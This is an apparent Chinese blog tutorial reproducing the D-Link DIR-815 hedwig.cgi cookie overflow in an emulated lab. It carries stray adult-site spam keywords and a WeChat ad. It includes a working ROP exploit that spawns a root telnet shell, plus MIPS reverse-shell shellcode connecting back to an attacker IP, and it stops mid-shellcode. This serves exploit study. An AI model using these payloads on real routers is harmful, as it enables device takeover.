国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析復現(xiàn)

這篇具有很好參考價值的文章主要介紹了踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析復現(xiàn)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

前言

在進行IOT安全領域的學習和實踐中,經典漏洞的復現(xiàn)是必不可少的一環(huán)。本文將介紹一個經典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及對DIR-815路由器中多次溢出漏洞的復現(xiàn)過程。

固件下載地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/

這個漏洞屬于經典范疇,很多人選擇通過此漏洞進行IOT安全入門的學習與實踐。我們將一起回顧這個經典漏洞,踏入IOT安全的世界,并對DIR-815路由器中的多次溢出漏洞進行復現(xiàn)。

根據(jù)報告顯示,此漏洞主要源于COOKIE長度未被限制,導致COOKIE長度過長時引發(fā)棧溢出問題。在本文中,我們將提供exp和poc,需要注意的是,在我的本地環(huán)境中,如果使用973作為偏移量,則調試無法成功連接,但不進行調試則可以成功連接。然而,如果使用1007作為偏移量,則調試可以成功連接,但不進行調試則無法成功連接。這種情況可能與仿真環(huán)境相關,歡迎大家積極嘗試并探索。

工具安裝

我的環(huán)境是

Ubuntu 22.04.4 LTS x86_64

Binwalk

我們要安裝這個工具用來給FirmAE調用:

git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo python setup.py install

firmware-mod-kit

首先安裝依賴:

sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic

然后進行安裝:

git clone https://github.com/mirror/firmware-mod-kit.git
cd firmware-mod-kit/src
./configure && make

可以進入https://github.com/mirror/firmware-mod-kit查看詳細使用方法,本文不贅述。

FirmAE

我們需要安裝FirmAE,和相關依賴進行固件仿真:

git clone --recursive https://github.com/pr0v3rbs/FirmAE
sudo pip3 install selenium

接著進入FirmAE目錄運行:

./download.sh
./install.sh
./init.sh

隨后,使用如下命令嘗試是否能夠仿真:

sudo ./run.sh -c <brand> <firmware>

我們這篇文章的brandd-link。如果成功仿真,使用如下命令進入仿真調試模式:

sudo ./run.sh -d <brand> <firmware>

注意,仿真之后要輸入2,進入shell之后運行如下命令關閉隨機化,因為真機也是不開啟的:

echo "0" >> /proc/sys/kernel/randomize_va_space

基礎知識

溢出漏洞

溢出漏洞是指由于緩沖區(qū)溢出等原因導致的內存溢出問題。這些漏洞可以讓攻擊者執(zhí)行惡意代碼,進而對路由器進行攻擊和控制。

它可以使得黑客控制程序執(zhí)行的pc,從而達到控制程序流的目的。要知道,pc可是指示程序下一條指令的地方!一旦攻擊者成功控制了它,就能為所欲為了。

那么,如何利用棧溢出漏洞來控制程序執(zhí)行呢?有兩個常見的方法:shellcode和ROPchain。

首先,我們來說說shellcode。Shellcode是一段精心編寫的機器碼,通常用于執(zhí)行特定的操作,比如獲取系統(tǒng)特權或者執(zhí)行其他惡意行為。攻擊者可以通過溢出漏洞將shellcode注入到受影響的程序中,并控制程序執(zhí)行,從而執(zhí)行這段惡意代碼。

另一種方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一種利用已存在的代碼片段(稱為gadgets)來構建攻擊代碼的技術。攻擊者可以通過溢出漏洞,將棧上的返回地址(Return Address)改寫為指向這些gadgets的地址,然后利用這些gadgets的序列來實現(xiàn)特定的功能,比如執(zhí)行系統(tǒng)調用或者跳轉到其他函數(shù)。

所以,棧溢出漏洞非常危險,給了攻擊者很大的控制力!要特別注意程序中的邊界檢查和緩沖區(qū)大小的限制,以避免這類漏洞的發(fā)生。在編程過程中,要時刻確保輸入數(shù)據(jù)不會超出預期的范圍,這樣就能有效地防止棧溢出漏洞的利用。

HTTP協(xié)議

HTTP協(xié)議是一種用于傳輸超文本的協(xié)議,它由請求和響應組成。讓我們來看一下HTTP請求的各個部分,分別是請求行、消息報頭、請求正文。IoT安全當中傳輸信息,大多數(shù)需要HTTP協(xié)議來進行。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備注 “博客園” 獲??!】

?、?網安學習成長路徑思維導圖
?、?60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
?、?150+網安攻防實戰(zhàn)技術電子書
?、?最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰(zhàn)技巧手冊
?、?最新網安大廠面試題合集(含答案)
?、?APP客戶端安全檢測指南(安卓+IOS)

請求行

HTTP請求的第一行是請求行,它由三部分組成:請求方法、請求的資源路徑(Request-URI)和HTTP協(xié)議的版本。格式如下:

Method Request-URI HTTP-Version CRLF

例如:

POST /registez.aspx HTTP/1.1 (CRLE) 

消息報頭

請求的消息報頭包含了一系列的鍵值對,每個鍵值對由名字、冒號、空格和值組成。它們用于傳遞關于請求的額外信息。例如:

Accept:image/gif

表示請求GIF圖像格式的資源。

一個完整的請求消息報頭可能包含多個鍵值對,像這樣:

GET /index.html HTTP/1.1 (CRLF) 
Accept:image/gif, image/x-xbitmap,*/* (CRLF) 
Accept-Language:zh-cn (CRLF) 
Accept-Encoding:gzip, deflate (CRLF) 
User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) 
Host:www.baidu.com (CRLF) 
Connection:Keep-Alive (CRLF) 
(CRLF)

請求正文

請求正文是可選的,它包含了請求的主體內容。它位于消息報頭和消息主體之間的一個空行。請求正文可以包含各種數(shù)據(jù),例如表單數(shù)據(jù)、JSON、XML等等。例如:

Usernarme=admin&password=admin

實際上,請求正文可以包含更多內容,具體取決于請求的目的和需要。

我們在具體使用的時候,會使用python的相關庫request或者http.client進行編程。

成因分析

  • Cookie來自char *getenv("HTTP_COOKIE")。

  • cgibin鏈接到其他的cgi的時候,此時cgibin里除了main,還會有別的cgi文件的main。

如本固件的hedwigcgi_main。

根據(jù)漏洞報告,搜索了HTTP_COOKIE字符串,找到相關函數(shù)sess_get_uid及其引用,這個函數(shù)有對uid的比較,分析得出COOKIE的數(shù)據(jù)組織形式是uid=payload。

int __fastcall sess_get_uid(int a1)
{
 ?int v2; // $s2
 ?char *v3; // $v0
 ?int v4; // $s3
 ?char *v5; // $s4
 ?int v6; // $s1
 ?int v7; // $s0
 ?char *string; // $v0
 ?int result; // $v0
?
 ?v2 = sobj_new();
 ?v4 = sobj_new();
 ?v3 = getenv("HTTP_COOKIE");
 ?if ( !v2 )
 ? ?goto LABEL_27;
 ?if ( !v4 )
 ? ?goto LABEL_27;
 ?v5 = v3;
 ?if ( !v3 )
 ? ?goto LABEL_27;
 ?v6 = 0;
 ?while ( 1 )
  {
 ? ?v7 = *v5;
 ? ?if ( !*v5 )
 ? ? ?break;
 ? ?if ( v6 == 1 )
 ? ? ?goto LABEL_11;
 ? ?if ( v6 < 2 )
 ?  {
 ? ? ?if ( v7 == ' ' )
 ? ? ? ?goto LABEL_18;
 ? ? ?sobj_free(v2);
 ? ? ?sobj_free(v4);
LABEL_11:
 ? ? ?if ( v7 == 59 )
 ? ?  {
 ? ? ? ?v6 = 0;
 ? ?  }
 ? ? ?else
 ? ?  {
 ? ? ? ?v6 = 2;
 ? ? ? ?if ( v7 != 61 )
 ? ? ?  {
 ? ? ? ? ?sobj_add_char(v2, v7);
 ? ? ? ? ?v6 = 1;
 ? ? ?  }
 ? ?  }
 ? ? ?goto LABEL_18;
 ?  }
 ? ?if ( v6 == 2 )
 ?  {
 ? ? ?if ( v7 == 59 )
 ? ?  {
 ? ? ? ?v6 = 3;
 ? ? ? ?goto LABEL_18;
 ? ?  }
 ? ? ?sobj_add_char(v4, *v5++);
 ?  }
 ? ?else
 ?  {
 ? ? ?v6 = 0;
 ? ? ?if ( !sobj_strcmp(v2, "uid") )
 ? ? ? ?goto LABEL_21;
LABEL_18:
 ? ? ?++v5;
 ?  }
  }
 ?if ( !sobj_strcmp(v2, "uid") )
  {
LABEL_21:
 ? ?string = sobj_get_string(v4);
 ? ?goto LABEL_22;
  }
LABEL_27:
 ?string = getenv("REMOTE_ADDR");
LABEL_22:
 ?result = sobj_add_string(a1, string);
 ?if ( v2 )
 ? ?result = sobj_del(v2);
 ?if ( v4 )
 ? ?return sobj_del(v4);
 ?return result;
}
  • 如果FirmAE無法直接解壓固件,可以用fmk解壓以后再壓縮為tar.gz交給FirmAE。

  • FirmAE如果出現(xiàn)文件依然存在的情況,使用如下方案:

sudo ip link set ${TAPDEV_0}
sudo tunctl -d ${TAPDEV_0}

將其停止,可以重新啟動仿真。

調試方法

仿真成功后,進入FirmAE進行如下輸入——進入shell,查詢http服務的進程號:

------------------------------
| ? ? ? FirmAE Debugger ? ?  |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
?
/ # ps  | grep "httpd"
 2387 root ? ? ?1564 S ?  httpd -f /var/run/httpd.conf
 8421 root ? ? ? 656 S ? ?grep httpd
/ # Connection closed by foreign host.

隨后輸入進程號(此處是2387)啟用gdb-server:

?
------------------------------
| ? ? ? FirmAE Debugger ? ?  |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 4
 641 root ? ? ?1684 S ?  /firmadyne/sh /firmadyne/network.sh
 ?643 root ? ? ?1676 S ?  /firmadyne/sh /firmadyne/debug.sh
 ?647 root ? ? ?1680 S ?  /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh
 ?648 root ? ? ?1668 S ?  /firmadyne/busybox sleep 36000
 ?649 root ? ? ?1676 S ?  /firmadyne/sh
 ?779 root ? ? ? 892 S ?  portt -c DNAT.PORTT
 1300 root ? ? ?1044 S ?  udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh
 1663 root ? ? ? 904 S ?  updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi
 1737 root ? ? ? 904 S ?  updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin
 2096 root ? ? ? 908 S ?  neaps -i br0 -c /var/run/neaps.conf
 2108 root ? ? ? 884 S ?  netbios -i br0 -r dlinkrouter
 2109 root ? ? ? 900 S ?  llmnresp -i br0 -r dlinkrouter
 2156 root ? ? ?1068 S ?  udhcpd /var/servd/LAN-1-udhcpd.conf
 2351 root ? ? ?1040 S ?  dnsmasq -C /var/servd/DNS.conf
 2387 root ? ? ?1568 S ?  httpd -f /var/run/httpd.conf
11504 root ? ? ?1668 S ?  /firmadyne/busybox sleep 5
11553 root ? ? ? 660 R ? ?ps
  PID USER ? ? ? VSZ STAT COMMAND
 ? ?1 root ? ? ? 656 S ?  init
 ? ?2 root ? ? ? ? 0 SW ? [kthreadd]
 ? ?3 root ? ? ? ? 0 SW ? [ksoftirqd/0]
 ? ?4 root ? ? ? ? 0 SW ? [kworker/0:0]
 ? ?5 root ? ? ? ? 0 SW<  [kworker/0:0H]
 ? ?6 root ? ? ? ? 0 SW ? [kworker/u2:0]
 ? ?7 root ? ? ? ? 0 SW<  [khelper]
 ? ?8 root ? ? ? ? 0 SW ? [khungtaskd]
 ? ?9 root ? ? ? ? 0 SW<  [writeback]
 ? 10 root ? ? ? ? 0 SWN  [ksmd]
 ? 11 root ? ? ? ? 0 SW<  [crypto]
 ? 12 root ? ? ? ? 0 SW<  [bioset]
 ? 13 root ? ? ? ? 0 SW<  [kblockd]
 ? 14 root ? ? ? ? 0 SW<  [ata_sff]
 ? 15 root ? ? ? ? 0 SW<  [cfg80211]
 ? 16 root ? ? ? ? 0 SW ? [kworker/0:1]
 ? 17 root ? ? ? ? 0 SW ? [kswapd0]
 ? 18 root ? ? ? ? 0 SW ? [fsnotify_mark]
 ? 35 root ? ? ? ? 0 SW ? [scsi_eh_0]
 ? 36 root ? ? ? ? 0 SW<  [scsi_tmf_0]
 ? 37 root ? ? ? ? 0 SW ? [scsi_eh_1]
 ? 38 root ? ? ? ? 0 SW<  [scsi_tmf_1]
 ? 41 root ? ? ? ? 0 SW ? [kworker/u2:3]
 ? 44 root ? ? ? ? 0 SW<  [kpsmoused]
 ? 45 root ? ? ? ? 0 SW<  [ipv6_addrconf]
 ? 46 root ? ? ? ? 0 SW<  [defe
[+] target pid : 2387
[+] gdbserver at 192.168.0.1:1337 attach on 2387
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch

宿主機保存如下腳本準備使用:

set architecture mips
set follow-fork-mode child
set detach-on-fork off
b _start
#catch exec #這里去掉注釋,就能夠在對應的cgi文件停下
target remote 192.168.0.1:1337

假如保存為了gdb_script,那么在開啟gdb-server以后使用如下命令進入調試:

gdb-multiarch -x  gdb_script

POC編寫

定位到漏洞點應該在下面的sprintf處,由char v27[1024]可以知道,溢出至少要1024的數(shù)據(jù)。源碼如下。

int hedwigcgi_main()
{
 ?char *v0; // $v0
 ?const char *v1; // $a1
 ?FILE *v2; // $s0
 ?int v3; // $fp
 ?int v4; // $s5
 ?int v5; // $v0
 ?char *string; // $v0
 ?FILE *v7; // $s2
 ?int v8; // $v0
 ?int v9; // $s7
 ?int v10; // $v0
 ?int *v11; // $s1
 ?int i; // $s3
 ?char *v13; // $v0
 ?const char **v14; // $s1
 ?int v15; // $s0
 ?char *v16; // $v0
 ?const char **v17; // $s1
 ?int v18; // $s0
 ?int v19; // $v0
 ?char *v20; // $v0
 ?char v22[20]; // [sp+18h] [-4A8h] BYREF
 ?char *v23; // [sp+2Ch] [-494h] BYREF
 ?char *v24; // [sp+30h] [-490h]
 ?int v25[3]; // [sp+34h] [-48Ch] BYREF
 ?char v26[128]; // [sp+40h] [-480h] BYREF
 ?char v27[1024]; // [sp+C0h] [-400h] BYREF
?
 ?memset(v27, 0, sizeof(v27));
 ?memset(v26, 0, sizeof(v26));
 ?strcpy(v22, "/runtime/session");
 ?v0 = getenv("REQUEST_METHOD");
 ?if ( !v0 )
  {
 ? ?v1 = "no REQUEST";
LABEL_7:
 ? ?v3 = 0;
 ? ?v4 = 0;
LABEL_34:
 ? ?v9 = -1;
 ? ?goto LABEL_25;
  }
 ?if ( strcasecmp(v0, "POST") )
  {
 ? ?v1 = "unsupported HTTP request";
 ? ?goto LABEL_7;
  }
 ?cgibin_parse_request(sub_409A6C, 0, 0x20000);
 ?v2 = fopen("/etc/config/image_sign", "r");
 ?if ( !fgets(v26, 128, v2) )
  {
 ? ?v1 = "unable to read signature!";
 ? ?goto LABEL_7;
  }
 ?fclose(v2);
 ?cgibin_reatwhite(v26);
 ?v4 = sobj_new();
 ?v5 = sobj_new();
 ?v3 = v5;
 ?if ( !v4 || !v5 )
  {
 ? ?v1 = "unable to allocate string object";
 ? ?goto LABEL_34;
  }
 ?sess_get_uid(v4);
 ?string = sobj_get_string(v4);
 ?sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
 ?xmldbc_del(0, 0, v27);
 ?v7 = fopen("/var/tmp/temp.xml", "w");
 ?if ( !v7 )
  {
 ? ?v1 = "unable to open temp file.";
 ? ?goto LABEL_34;
  }
 ?if ( !haystack )
  {
 ? ?v1 = "no xml data.";
 ? ?goto LABEL_34;
  }
 ?v8 = fileno(v7);
 ?v9 = lockf(v8, 3, 0);
 ?if ( v9 < 0 )
  {
 ? ?printf(
 ? ? ?"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
 ? ? ?0);
 ? ?v9 = 0;
 ? ?goto LABEL_26;
  }
 ?v10 = fileno(v7);
 ?lockf(v10, 1, 0);
 ?v23 = v26;
 ?v24 = 0;
 ?memset(v25, 0, sizeof(v25));
 ?v24 = strtok(v22, "/");
 ?v11 = v25;
 ?for ( i = 2; ; ++i )
  {
 ? ?v13 = strtok(0, "/");
 ? ?*v11++ = (int)v13;
 ? ?if ( !v13 )
 ? ? ?break;
  }
  (&v23)[i] = sobj_get_string(v4);
 ?fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);
 ?v14 = (const char **)&v23;
 ?v15 = 0;
 ?do
  {
 ? ?++v15;
 ? ?fprintf(v7, "<%s>\n", *v14++);
  }
 ?while ( v15 < i + 1 );
 ?v16 = strstr(haystack, "<postxml>");
 ?fprintf(v7, "%s\n", v16);
 ?v17 = (const char **)&(&v23)[i];
 ?v18 = i + 1;
 ?do
  {
 ? ?--v18;
 ? ?fprintf(v7, "</%s>\n", *v17--);
  }
 ?while ( v18 > 0 );
 ?fflush(v7);
 ?xmldbc_read(0, 2, "/var/tmp/temp.xml");
 ?v19 = fileno(v7);
 ?lockf(v19, 0, 0);
 ?fclose(v7);
 ?remove("/var/tmp/temp.xml");
 ?v20 = sobj_get_string(v4);
 ?sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
 ?xmldbc_ephp(0, 0, v27, stdout);
 ?if ( v9 )
  {
 ? ?v1 = 0;
LABEL_25:
 ? ?printf(
 ? ? ?"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
 ? ? ?v1);
  }
LABEL_26:
 ?if ( haystack )
 ? ?free(haystack);
 ?if ( v3 )
 ? ?sobj_del(v3);
 ?if ( v4 )
 ? ?sobj_del(v4);
 ?return v9;
}

構造poc如下:

import http.client
?
# 創(chuàng)建HTTP連接
conn = http.client.HTTPConnection("192.168.0.1")
?
# 設置請求頭
headers = {
 ? ?'Content-Length': '21',
 ? ?'accept-Encoding': 'deflate',
 ? ?'Connection': 'close',
 ? ?'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
 ? ?'Host': '192.168.0.1',
 ? ?'Cookie': 'uid='+'a'*0x500,
 ? ?'Content-Type': 'application/x-www-form-urlencoded'
}
?
# 發(fā)送POST請求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)
?
# 獲取響應
response = conn.getresponse()
?
# 打印響應狀態(tài)碼和響應內容
print(response.status, response.read().decode())
?
# 關閉連接
conn.close()

成功覆蓋pc如下。

EXP編寫

ROPchain_system(cmd)

接下來編寫exp。

cyclic可以這么使用:

>>> cyclic(0x100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'
>>> cyclic_find("cjaa")
235
>>>

從而輕松找到偏移。

我們修改一下poc如下,設置了payload,用如上方法找到偏移:

import http.client
from evilblade import *
?
# 創(chuàng)建HTTP連接
conn = http.client.HTTPConnection("192.168.0.1")
?
payload = cyclic(0x500).decode()
?
# 設置請求頭
headers = {
 ? ?'Content-Length': '21',
 ? ?'accept-Encoding': 'deflate',
 ? ?'Connection': 'close',
 ? ?'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
 ? ?'Host': '192.168.0.1',
 ? ?'Cookie': 'uid='+payload,
 ? ?'Content-Type': 'application/x-www-form-urlencoded'
}
?
# 發(fā)送POST請求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
?
# 獲取響應
response = conn.getresponse()
?
# 打印響應狀態(tài)碼和響應內容
print(response.status, response.read().decode())
?
# 關閉連接
conn.close()

得到段錯誤如下。

找偏移:(注意,此處導入pwntools也是一樣的,這只是我自己寫的封裝庫)

>>> from evilblade import *
>>> cyclic_find("klaa")
1043
>>>

再次修改poc確認偏移,成功控制返回地址。修改如下:

import http.client
from evilblade import *
?
# 創(chuàng)建HTTP連接
conn = http.client.HTTPConnection("192.168.0.1")
?
payload = b'a'*1043+b"rlok" #前面1043個偏移,后面是rlok作為返回地址
payload = payload.decode()
?
# 設置請求頭
headers = {
 ? ?'Content-Length': '21',
 ? ?'accept-Encoding': 'deflate',
 ? ?'Connection': 'close',
 ? ?'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
 ? ?'Host': '192.168.0.1',
 ? ?'Cookie': 'uid='+payload,
 ? ?'Content-Type': 'application/x-www-form-urlencoded'
}
?
# 發(fā)送POST請求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
?
# 獲取響應
response = conn.getresponse()
?
# 打印響應狀態(tài)碼和響應內容
print(response.status, response.read().decode())
?
# 關閉連接
conn.close()

結果如下,成功控制pc

我們發(fā)現(xiàn)路由器里有telnetd服務,這樣只要執(zhí)行system("telnetd"),就可以在宿主機運行telnet 192.168.0.1getshell了。其中a0就是第一個參數(shù)。

我們看看MIPS的寄存器作用:

ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp,"

用上述命令,找到下面的gadget:

0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5

這樣的情況,我們只要控制$sp + 0x10的位置是命令,并且s0是返回地址即可。

我們再次使用cyclic確定偏移,得到:

*S0 ? 0x6161636b ('kcaa')

也就是

>>> cyclic_find("kcaa")
1007

s0往后就是s1,s2以此類推。

不過我們遇到了一個新的問題,那就是system的地址偏移是0x53200,是以00為結尾的,我們需要繞過。我嘗試過用0x531fc,這里是nop,但是由于$t9的值不正確,所以后面的變量會錯誤,導致程序無法正常運行,那么我們只能另尋出路。

這里我們要用到一個技巧:

由于現(xiàn)代處理器采用流水線執(zhí)行指令的方式,在執(zhí)行jalr指令時,下一條指令可能已經被預取和解碼,并開始執(zhí)行。因此,即使jalr指令改變了程序計數(shù)器的值,下一條指令也可能在當前指令被執(zhí)行的同時開始執(zhí)行。

也就是說,執(zhí)行jalr的同時,下一個指令也會執(zhí)行。

我們用這個指令:

ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0"

找到gadget:

0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

他會在跳轉到$s5的同時,將s0+1,也就是說我們傳入偏移為0x531ff即可,且$$t9不會受到任何影響!

于是我們構造了如下的情況:

首先在s0傳入system-1的地址,s5傳入了0x000159cc的gadget。溢出之后,首先返回到s5的地址,同時,s0++,變?yōu)閟ystem的地址。此時執(zhí)行第二個gadget,將"telnetd"傳入s5,并且跳轉到$s0也就是system,同時s5被賦值到a0也就是第一個參數(shù),成功執(zhí)行system("telnetd -l /bin/sh -p 55557")。設置端口是擔心原本的被占用了。

如圖,成功。

附exp:

import http.client
from evilblade import *
?
set("./cgibin")
?
# 創(chuàng)建HTTP連接
conn = http.client.HTTPConnection("192.168.0.1")
?
## XOR $t0, $t0, $t0,相當于 nop,因為nop是\x00不能發(fā)送,會被sprintf截斷
nop = "\x26\x40\x08\x01"
?
#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))
?
sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"
?
payload = cyclic(973).decode() + sys_ + "cccc" ?+ gad_sp*7 + gad_to_s5 ?+ "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & "
# 設置請求頭
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
 ? ?'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
 ? ?'Host': '192.168.0.1',
 ? ?'Cookie': 'uid='+payload,
 ? ?'Content-Type': 'application/x-www-form-urlencoded'
}
?
# 發(fā)送POST請求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 獲取響應
response = conn.getresponse()
?
# 打印響應狀態(tài)碼和響應內容
print(response.status, response.read().decode())
?
# 關閉連接
conn.close()

shellcode

使用網站進行匯編轉字節(jié)碼:https://shell-storm.org/online/Online-Assembler-and-Disassembler/

第一步:socket(2,1,0)

socket()系統(tǒng)調用中,參數(shù)的含義如下:

  • 第一個參數(shù):套接字的域(domain)。對于IPv4網絡套接字,通常使用AF_INET或者PF_INET,其值為2。

  • 第二個參數(shù):套接字的類型(type)。常見的套接字類型包括SOCK_STREAM(流套接字,用于TCP)和SOCK_DGRAM(數(shù)據(jù)報套接字,用于UDP)。

  • 第三個參數(shù):協(xié)議(protocol)。通常情況下,如果域和類型已經指定了,協(xié)議參數(shù)可以設為0,讓操作系統(tǒng)自動選擇合適的協(xié)議。在這里,值為0。

socket(2,2,0)的意思是創(chuàng)建一個IPv4的UDP套接字。

如下:

addiu ?a0, zero, 2
addiu ?a1, zero, 2
addiu ?a3, zero, 0
addiu ?v0, zero, 0x1057
syscall 0x40404

為了繞過\x00限制改為:

li  $a0, 0x222
addi $a0,-0x220
li  $a1, 0x222
addi $a1,-0x220
li  $a2, 0x222
addi $a2,-0x222
li  $v0, 0x1057
syscall 0x40404

得到:

"\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"

存入棧:

sw $v0,480($sp)

得到:

"\xe0\x01\xa2\xaf"

第二步:

dup2(socket_obj,0)
dup2(socket_obj,1)
dup2(socket_obj,2)

將標準輸入輸出錯誤流重定向到sock對象。

如下:

lw $a0,480($sp); ? ? ? ? ? 
li  $a1, 0x222
addi $a1,-0x222
li $v0,4063
syscall 0x40404
 ? ? ? ?
li  $a1, 0x222
addi $a1,-0x221
li $v0,4063
syscall 0x40404
 ? ? ? ?
li  $a1, 0x223
addi $a1,-0x221
li $v0,4063
syscall 0x40404

得到:

"\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"

第三步,執(zhí)行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen);

lw $a0,480($sp)
addiu $a2,$zero,0x111
addi $a2,-0x101
?
lui $t6,0xbe15
ori $t6,$t6,0x0203 ? ?
addi $t6, -0x0201
sw $t6,468($sp)
//這里是端口,可以自己更改
?
lui $t7,0x0302
ori ? $t7, $t7, 0xa9c1
addi $t7, $t7, -0x01020101
//這里是ip地址,可以自己更改
?
sw $t7,472($sp) ? ? ? ? ? ? ? ? ? ? 
la $a1,468($sp) ? ? ? ? ? ? ?
?
addiu $v0,$zero,4170 ? ?
syscall 0x40404

此時是綁定在了192.168.0.2 5566,也就是攻擊機器的地址。ip和端口涉及大端小端的問題,參考文章的時候是大端,我說怎么調了這么久都不對……

要構造為(這是192.168.0.2 5566)

0xbe150002  0x0200a8c0

得到:

"\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"

最后一步,執(zhí)行execve("/bin/sh",["/bin/sh","-i"],0),注意,此處的第二個參數(shù)是個數(shù)組,讓其能夠交互:

lui ? ? $t1, 0x6e69
ori ? ? $t1, $t1, 0x622f
sw ? ?  $t1, -8($sp)
lui ? ? $t9, 0xff97
ori ? ? $t9, $t9, 0x8cd0
not ? ? $t1, $t9
sw ? ?  $t1, -4($sp)
addiu ? $sp, $sp, -8
add ? ? $a0, $sp, $zero
lui ? ? $t1, 0x6e69
ori ? ? $t1, $t1, 0x622f
sw ? ?  $t1, -0xc($sp)
lui ? ? $t9, 0xff97
ori ? ? $t9, $t9, 0x8cd0
not ? ? $t1, $t9
sw ? ?  $t1, -8($sp)
sw ? ?  $zero, -4($sp)
addiu ? $sp, $sp, -0xc
slti ?  $a1, $zero, -1
sw ? ?  $a1, -4($sp)
addi ?  $sp, $sp, -4
addiu ? $t9, $zero, -5
not ? ? $a1, $t9
add ? ? $a1, $sp, $a1
sw ? ?  $a1, -4($sp)
addi ?  $sp, $sp, -4
add ? ? $a1, $sp, $zero
slti ?  $a2, $zero, -1
ori ? ? $v0, $zero, 0xfab
syscall

得到:

